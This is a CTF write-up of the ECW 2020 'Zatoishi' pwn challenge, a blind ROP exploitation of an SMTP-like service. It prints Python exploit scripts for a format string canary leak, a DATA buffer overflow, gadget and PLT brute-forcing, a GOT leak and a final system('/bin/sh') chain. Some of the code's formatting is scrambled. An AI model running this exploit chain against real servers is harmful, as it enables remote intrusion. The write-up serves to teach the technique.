ECW 2020 - Zatoishi (pwn)

ECW 2020 - Zatoishi (pwn)
The ECW 2020 challenge took place the two middle weeks of October. Most of the challenge didn’t catch my attention but the only pwn challenge which weight 400 points was pretty cool. No binary was given, only a TCP port to connect to. In the end we were less than 15 having solved it.
TLDR; It was a service which emulated the behavior of a SMTP server and was vulnerable to a format string vulnerability and few buffer overflow. I brop’ed this chall using both vulnerabilities to have my leak and rop. As stated before we didn’t have any binary so I started by interact with it through SMTP commands.
vulnerabilities
string format
I quickly find out the program was vulnerable to a string format in the HELO or EHLO SMTP command.
220 zatoichi a Random SMTP MAIL Service ready at Sun, 15 Nov 2020 16:29:05 +0000 EHLO %0$x %1$x %2$x 250 mail1.zatoichi.com Hello %0$x 37d2cdf5 20782431
buffer overflow
All the fields were vulnerable to buffer overflow however the one containing the body message (DATA) accepts null byte. The buffer is 1512
bytes long before overwriting the canary.
λ ackira ~ » python2 -c 'print "DATA\n" + "A" * 1512 + "\n.\n"' | nc challenge-ecw.fr 2020 220 zatoichi a Random SMTP MAIL Service ready at Sun, 15 Nov 2020 16:33:13 +0000 354 Start mail input; end with <CRLF>.<CRLF> 250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery λ 130 ackira ~ » python2 -c 'print "DATA\n" + "A" * 1513 + "\n.\n"' | nc challenge-ecw.fr 2020 220 zatoichi a Random SMTP MAIL Service ready at Sun, 15 Nov 2020 16:33:07 +0000 354 Start mail input; end with <CRLF>.<CRLF> 250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery *** stack smashing detected ***: /home/ctf/pwn terminated
exploitation
leaking the canary
The first step is to leak the canary thanks to the format string. As it’s x64 don’t forget to add the %l
not only %x
.
def leak_stack(): = remote("challenge-ecw.fr", 2020) p if p.readline(timeout=0.1) == b"": exit(0) for i in range(0, 2500): = f"EHLO ABCDEFGH%{i}$016lx" payload p.sendline(payload) if (response := p.readline(timeout=1)) == b"": continue = response[-17:-1].decode("utf-8") value print(i, value) p.close()
...] [ 67 0000000000000000 68 0000000000000000 69 00007f3dee7253f5 70 00007f3deea718e0 71 b57da2327bf2c100 72 00007ffe5006da60 73 0000000000400dec 74 0a00000000000000 ...] [
The offset 71
seems promising it looks like the canary with saved EBP right after followed by saved rip.
This cookie always contains a null byte this why we can’t use the others commands than DATA to exploit the buffer overflow as they stop reading the payload after the first null byte.
Moreover, the server isn’t forked, it means that we will need to link the canary to each connexion to the server.
finding the stop gadget
Now we are going to test the canary we previously found and also try to locate a stop gadget.
A stop gadget is a gadget which create a signal that allow us to verify that the payload has been successfully executed. For example this gadget could print a string or make the server hang for X seconds. If the string or the server hangs we are all good.
def bf_stop_gadget(): for i in range(0, 25560): = False over while not over: print(hex(i)) = remote(*co_infos) p if p.readline(timeout=0.2) == b"": continue b"EHLO %71$016lx") # as 71 is the canary offset p.sendline( if (response := p.readline(timeout=0.2)) == b"": continue = bytes.fromhex(findall(b"Hello ([a-z0-9]{16})", response)[0].decode("utf-8")) canary_b = unpack(">Q", canary_b)[0] canary = b"A" * 1512 payload += canary_b[::-1] + p64(0) + p64(0x000000000400600 + i) payload "DATA") p.sendline( p.sendline(payload) "\n.") p.sendline( "\nQUIT") p.sendline( print(p.recvall()) print() = True over
0x391 b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n' {1} 0x392 b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n' {1} 0x393 0x393 b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n' {1} 0x394 b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n' {1} 0x395 b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n' {1} 0x396 b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n220 zatoichi a Random SMTP MAIL Service ready at Sun, 15 Nov 2020 17:04:14 +0000\n221 2.0.0 Service closing transmission channel\n' {1} 0x397 0x397 0x397 b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n220 zatoichi a Random SMTP MAIL Service ready at Sun, 15 Nov 2020 17:04:15 +0000\n221 2.0.0 Service closing transmission channel\n'
At offset 0x396
we see that the server answered differently by sending the banner a second time. We gonna use 0x400996
as a stop gadget. If after sending a payload the server answer a second time the banner it means the gadget was successfully executed !
findings the others gadgets to prepare the ROP
Our ROP will be very simple, it will only make a call : system("/bin/sh")
so we only need to control RDI. Also we need something too have a leak so we are also going to do puts(puts_got)
too.
We only have to have this gadget pop rdi; ret;
. However as we don’t have the binary we can’t easily spot this gadget. Lucky us, there is a very special gadgets that almost all binary have in common, the one in __libc_csu_init
:
[...] 40126a: 5b pop rbx 40126b: 5d pop rbp 40126c: 41 5c pop r12 40126e: 41 5d pop r13 401270: 41 5e pop r14 401272: 41 5f pop r15 401274: c3 ret
This one is easy to spot as it pop 6 values on the stack. In addition to this it contains the wanted gadget as pop rdi; ret;
instruction is \x5f\xc3
. A gadget contained in another gadget the magic of intel ISA.
def find_gadgets(): = p64(0x000000000400600 + 0x396) safe_gadget = 0x400000 base_addr for i in range(0x0, 20000): = False over while not over: print(hex(i)) = remote(*co_infos) p if p.readline(timeout=0.2) == b"": continue b"EHLO %71$016lx") # as 71 is the canary offset p.sendline( if (response := p.readline(timeout=0.2)) == b"": continue = bytes.fromhex(findall(b"Hello ([a-z0-9]{16})", response)[0].decode("utf-8")) canary_b = unpack(">Q", canary_b)[0] canary = b"A" * 1512 payload += canary_b[::-1] + p64(0) payload += p64(base_addr + i) # potential gadget payload += p64(0) * 6 payload += safe_gadget payload "DATA") p.sendline( p.sendline(payload) "\n.") p.sendline( "\nQUIT") p.sendline( if b"zatoichi a Random SMTP MAIL Service ready" in (response := p.readall(timeout=0.2)): print("found gadget", hex(base_addr + i)) input() print(response) = True over
0x0 b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n' 0x1 b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n' 0x2 found gadget 0x400f5a
Our 6 zero placed on the stack have been popped and the safe gadget called, this is a success. We found the gadget at 0x400f5a
. It’s mean the pop_rdi
gadget is at 0x0400f63
(9 bytes later).
finding puts
The next step is to locate puts in the PLT. The principle is quite the same, we brute force all address hoping to fall on puts
and we use an known pointer as argument to inspect the answer of the server.
Our argument to puts call will be pop_rdi
address : potential_puts(pop_rdi)
, if the server response contains \x5f
(the first byte of pop_rdi
instruction) it means that the puts function has been called.
def find_puts(): = 0x400996 safe_gadget = 0x000000000400f63 pop_rdi = 0x400980 base_addr for i in range(0, 20000): = False over while not over: print(hex(i)) = remote(*co_infos) p if p.readline(timeout=0.2) == b"": continue b"EHLO %71$016lx") # as 71 is the canary offset p.sendline( if (response := p.readline(timeout=0.2)) == b"": continue = bytes.fromhex(findall(b"Hello ([a-z0-9]{16})", response)[0].decode("utf-8")) canary_b = unpack(">Q", canary_b)[0] canary = b"A" * 1512 payload += canary_b[::-1] + p64(0) payload += p64(pop_rdi) payload += p64(pop_rdi) # puts argument, points on "\x5f\xc3" payload += p64(base_addr + i) payload += p64(safe_gadget) payload "DATA") p.sendline( p.sendline(payload) "\n.") p.sendline( "\nQUIT") p.sendline( # p.readuntil("delivery\n") if b"\x5f" in (response := p.readall(timeout=0.2)): print("found gadget", hex(base_addr + i)) print([response]) input() = True over
0x0 0x1 0x2 found gadget 0x400b35 [b'354 Start mail input; end with <CRLF>.<CRLF>\n250 2.6.0 <bc7e9e9c-dce9-4c3c-8381-279b3bda43c7@mail1.zatoichi.com> Queued mail for delivery\n_\xc3\x90f.\x0f\x1f\x84\n']
Yeah we got our leak, the puts function is at 0x400b35
.
leaking GOT
This step made me crazy. We need to find the resolved address of some functions in the libc to get the offset and finally find the libc base address as usual.
I know that the GOT is often near 0x0602000
in x86_64 so I brute forced until I found something. I didn’t automatized it I was looking to the terminal for familiar addresses .. Quite a shame I know.
def leak_got(): = 0x400996 safe_gadget = 0x000000000400f63 pop_rdi = 0x602000 - 32 base_addr = 0x400b35 puts = open("binary_got_2", "wb") fd = 0 i while True: if (base_addr + i) & 0xff == 0xa: b"\x00") fd.write( += 1 i = True over = False over while not over: try: = remote(*co_infos) p except: continue if p.readline(timeout=0.2) == b"": continue b"EHLO %71$016lx") # as 71 is the canary offset p.sendline( if (response := p.readline(timeout=0.2)) == b"": continue = bytes.fromhex(findall(b"Hello ([a-z0-9]{16})", response)[0].decode("utf-8")) canary_b = unpack(">Q", canary_b)[0] canary = b"A" * 1512 payload += canary_b[::-1] + p64(sebp) payload += p64(pop_rdi) payload += p64(base_addr + i) payload += p64(puts) payload += p64(safe_gadget) payload "DATA") p.sendline( p.sendline(payload) "\n.") p.sendline( "\nQUIT") p.sendline( if (response := p.readuntil("delivery\n", timeout=0.2)) == b"": continue if (response := p.recvall(timeout=0.2)) == b"": continue if b"stack smashing detected" in response: continue = len(response) data_len print(hex(base_addr + i), data_len, [response]) -1] + b"\x00") fd.write(response[: = True over += data_len i
And after few minutes / hours I got (GOT lol aha, fuck me) this :

It looks like some GOT entries doesn’t it ? Here the fucking fuck which made me lose so much time.
Thanks to the different leak primitive I got I could leak the binary .dynstr
sections which hold the name of all the imported function.
[...] /lib64/ld-linux-x86-64.so.2 libc.so.6 gets fflush strncmp __isoc99_scanf sttncpy putss__stack_chk_fail putchar stdin strftime printf strlen memset getchar stdout strcat localtime strcmp __libc_start_main __gmon_start__ [...]
But I didn’t know which one had which leaked GOT address. I did some test to see if it was ordered by import order, alphabetical order or other order but I finally reached no pattern and was not far to have a dis-order.
So I decided to dev a libc database script to find if some of these function were find in libc database with the associated offset. Then I could merge the results to find if a libc had all the matches.
func="getchar" for i in $(cat addr) ; do ~/tools/pwn/libc-database/find $func $i done
Then I executed it for few functions I was sure they had been resolved.
sh libc.sh | tee libc_puts sh libc.sh | tee libc_memset sh libc.sh | tee libc_strlen sh libc.sh | tee libc_printf
$ grep -Fxf libc_puts libc_strlen libc_memset libc_printf libc_strlen:ubuntu-xenial-amd64-libc6 (libc6_2.23-0ubuntu11.2_amd64) libc_memset:ubuntu-bionic-amd64-libc6 (libc6_2.27-3ubuntu1.2_amd64) libc_printf:ubuntu-xenial-amd64-libc6 (libc6_2.23-0ubuntu11.2_amd64) libc_printf:ubuntu-eglibc (libc6-i386_2.15-0ubuntu10_amd64) libc_printf:ubuntu-glibc (libc6_2.32-0ubuntu3_amd64)
I did a lot of test and tested few libc as never all function matched a single and same libc. I even started to get the libc used in major docker version of ubuntu like xenial and bionic
Even if all tested functions doesn’t match I decided to give a chance to ubuntu-xenial-amd64-libc6
it was a very recent libc and it was the one from ubuntu xenial if you did from ubuntu:xenial
in a docker.
For this one I got
~/tools/pwn/libc-database/dump libc6_2.23-0ubuntu11.2_amd64 $ offset___libc_start_main_ret = 0x20840 offset_system = 0x00000000000453a0 offset_dup2 = 0x00000000000f7a30 offset_read = 0x00000000000f7310 offset_write = 0x00000000000f7370 offset_str_bin_sh = 0x18ce17
chaining everything together
to resume
We first leak the canary to make the buffer overflow exploitable. Then we send the address of put_char
in GOT to have its resolved address in the libc, we then subtract the known offset from the libc database to have the base of the libc.
In order to have the system
address in the libc we just add the offset. We can now prepare system("/bin/sh")
with the pop_rdi
gadget.
= 0x400996 safe_gadget = 0x000000000400f63 pop_rdi = 0x602000 got_base = got_base + (8 * 3) # it was the 3rd entry got_putchar = 0x00000000000712a0 putchar_offset = 0x00000000000453a0 system_offset = 0x18ce17 sh_offset = remote(*co_infos) p if p.readline(timeout=0.2) == b"": exit(-1) b"EHLO %71$016lx") # as 71 is the canary offset p.sendline( if (response := p.readline(timeout=0.2)) == b"": exit(-1) = bytes.fromhex(findall(b"Hello ([a-z0-9]{16})", response)[0].decode("utf-8")) canary_b = unpack(">Q", canary_b)[0] canary print(f"[CANARY] {hex(canary)}") # leak got addr b"EHLO AAAAAAAA %11$s " + p64(got_putchar)) p.sendline( = p.readline(timeout=0.5) response = response[38:].replace(b" ", b"").replace(p64(got_putchar).rstrip(b"\x00"), b"") data = unpack("<Q", data[:-1] + b"\x00\x00")[0] got_putchar_data = got_putchar_data - putchar_offset libc_base_addr print(f"[LIBC] {hex(canary)}") = libc_base_addr + system_offset system_addr = libc_base_addr + sh_offset sh_addr print(f"[SYSTEM] {hex(system_addr)}") = b"A" * 1512 payload += canary_b[::-1] + p64(0) payload += p64(pop_rdi) payload += p64(sh_addr) payload += p64(system_addr) payload += p64(safe_gadget) payload "DATA") p.sendline( p.sendline(payload) "\n.") p.sendline( "\nQUIT") p.sendline( p.interactive()
flag :ECW{a6ec2293e18b75bd868919c699b8846a6819f811}
final word
I spent a lot of time for this challenge as my first idea was to place a shellcode in the buffer holding the format string, method I already used in another chall but I did not know about mitigations and NX have a lot of chance to be enabled.
I also tried to dump the binary thanks to the format string and later with the puts leak. The first attempts was total mess up as 75% of the binary was missing lol. The second was far better but didn’t really help me to solve it.
A team mate used the format string to leak the whole libc and then retrieve the system function inside. Then he could rewrite a GOT address with the system address. I assumed that GOT had a lot of chance to be read only so I didn’t wanted to overwrite it.
resources
- https://www.dailysecurity.fr/blind-rop-arm-securevault-writeup/
- http://repository.root-me.org/Exploitation%20-%20Syst%C3%A8me/Unix/EN%20-%20Hacking%20Blind%20-%20Slides%20-%20Bittau.pdf
- https://oddcoder.com/BROP-102/
- https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop/#brop
- https://soolidsnake.github.io/2018/07/15/blindx86_64_rop.html